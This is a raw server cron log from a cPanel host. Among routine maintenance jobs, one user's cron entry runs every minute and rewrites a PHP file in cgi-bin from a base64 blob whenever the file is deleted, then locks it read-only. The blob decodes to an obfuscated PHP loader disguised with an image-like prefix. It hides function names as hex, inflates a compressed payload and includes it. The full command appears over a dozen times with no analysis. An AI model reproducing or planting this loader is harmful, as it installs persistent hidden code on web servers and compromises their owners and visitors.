Sep  3 18:40:01 server CROND[16396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:40:01 server CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:40:01 server CROND[16397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:41:01 server CROND[17222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:41:01 server CROND[17223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:41:01 server CROND[17224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:42:01 server CROND[17591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:42:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:42:01 server CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:42:01 server CROND[17594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:43:01 server CROND[18056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:43:01 server CROND[18057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:43:01 server CROND[18062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:44:01 server CROND[18432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:44:01 server CROND[18433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:44:01 server CROND[18434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:45:01 server CROND[18817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:45:01 server CROND[18831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:45:01 server CROND[18835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:45:01 server CROND[18834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:45:01 server CROND[18833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:45:01 server CROND[18832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:45:01 server CROND[18836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:46:01 server CROND[19632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:46:01 server CROND[19633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:46:01 server CROND[19634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:47:01 server CROND[20005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:47:01 server CROND[20004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:47:01 server CROND[20006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:48:01 server CROND[20488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:48:01 server CROND[20489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:48:01 server CROND[20490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:49:01 server CROND[20883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:49:01 server CROND[20884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:49:01 server CROND[20882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:50:01 server CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:50:01 server CROND[21263]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:50:01 server CROND[21264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:50:01 server CROND[21266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:50:01 server CROND[21269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:50:01 server CROND[21270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:50:01 server CROND[21268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:50:01 server CROND[21271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:50:01 server CROND[21274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:51:01 server CROND[22102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:51:01 server CROND[22103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:51:01 server CROND[22104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:52:01 server CROND[22469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:52:01 server CROND[22470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:52:01 server CROND[22471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:53:01 server CROND[23111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
